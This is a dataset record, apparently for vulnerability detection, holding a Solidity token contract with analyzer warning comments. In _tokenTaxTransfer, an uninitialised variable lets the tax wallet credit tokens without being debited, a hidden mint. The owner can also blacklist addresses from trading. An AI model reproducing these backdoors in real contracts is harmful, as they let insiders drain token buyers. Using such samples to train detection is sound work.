{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FUTARCHY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 10e1d9e): FUTARCHY._taxWallet should be immutable \n\t// Recommendation for 10e1d9e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3caaf23): FUTARCHY._initialBuyTax should be constant \n\t// Recommendation for 3caaf23: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1809c6a): FUTARCHY._initialSellTax should be constant \n\t// Recommendation for 1809c6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 9;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eac1fc6): FUTARCHY._reduceBuyTaxAt should be constant \n\t// Recommendation for eac1fc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d3f966): FUTARCHY._reduceSellTaxAt should be constant \n\t// Recommendation for 5d3f966: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7cfc57): FUTARCHY._preventSwapBefore should be constant \n\t// Recommendation for d7cfc57: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 2;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Futarchy\";\n\n string private constant _symbol = unicode\"FUTARCHY\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20a824a): FUTARCHY._taxSwapThreshold should be constant \n\t// Recommendation for 20a824a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37d3f69): FUTARCHY._maxTaxSwap should be constant \n\t// Recommendation for 37d3f69: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct NftTransfer {\n uint256 nftInvite;\n uint256 nftClaimAllow;\n uint256 nftConvert;\n }\n\n mapping(address => NftTransfer) private nftTransfer;\n\n uint256 private nftClaimAttempt;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7652aac): FUTARCHY.nftClaimExcluded should be constant \n\t// Recommendation for 7652aac: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2c751b7): FUTARCHY.nftClaimExcluded is never initialized. It is used in FUTARCHY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2c751b7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private nftClaimExcluded;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4098680d5dCF6986bdDbD8AA8A40eb83956B1eDF);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 631579c): FUTARCHY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 631579c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 289d9d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 289d9d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ead4e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ead4e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 289d9d0\n\t\t// reentrancy-benign | ID: 8ead4e7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 289d9d0\n\t\t// reentrancy-benign | ID: 8ead4e7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ea9e0a): FUTARCHY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ea9e0a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8ead4e7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 289d9d0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 012ebe6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 012ebe6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 057d191): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 057d191: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c704812): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c704812: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!tradingOpen || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = tokenAmount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 012ebe6\n\t\t\t\t// reentrancy-benign | ID: 057d191\n\t\t\t\t// reentrancy-eth | ID: c704812\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 012ebe6\n\t\t\t\t\t// reentrancy-eth | ID: c704812\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: c704812\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: c704812\n lastSellBlock = block.number;\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 057d191\n nftClaimAttempt = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n NftTransfer storage nftTran = nftTransfer[to];\n\n if (from == uniswapV2Pair) {\n if (nftTran.nftInvite == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 057d191\n nftTran.nftInvite = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NftTransfer storage nftTranAttempt = nftTransfer[from];\n\n if (\n nftTran.nftInvite == 0 ||\n nftTranAttempt.nftInvite < nftTran.nftInvite\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 057d191\n nftTran.nftInvite = nftTranAttempt.nftInvite;\n }\n }\n } else {\n NftTransfer storage nftTranAttempt = nftTransfer[from];\n\n\t\t\t\t// reentrancy-benign | ID: 057d191\n nftTranAttempt.nftClaimAllow = nftTranAttempt.nftInvite.sub(\n nftClaimAttempt\n );\n\n\t\t\t\t// reentrancy-benign | ID: 057d191\n nftTranAttempt.nftConvert = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 012ebe6\n\t\t// reentrancy-eth | ID: c704812\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: c704812\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: c704812\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 012ebe6\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2c751b7): FUTARCHY.nftClaimExcluded is never initialized. It is used in FUTARCHY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2c751b7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : nftClaimExcluded.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c704812\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 012ebe6\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 289d9d0\n\t\t// reentrancy-events | ID: 012ebe6\n\t\t// reentrancy-benign | ID: 8ead4e7\n\t\t// reentrancy-benign | ID: 057d191\n\t\t// reentrancy-eth | ID: c704812\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 289d9d0\n\t\t// reentrancy-events | ID: 012ebe6\n\t\t// reentrancy-eth | ID: c704812\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 697948c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 697948c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a95922e): FUTARCHY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a95922e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8f07841): FUTARCHY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8f07841: Ensure that all the return values of the function calls are used.\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 697948c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 697948c\n\t\t// unused-return | ID: a95922e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 697948c\n\t\t// unused-return | ID: 8f07841\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 697948c\n swapEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function saveETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10357.sol", "size_bytes": 24130, "vulnerability": 4 }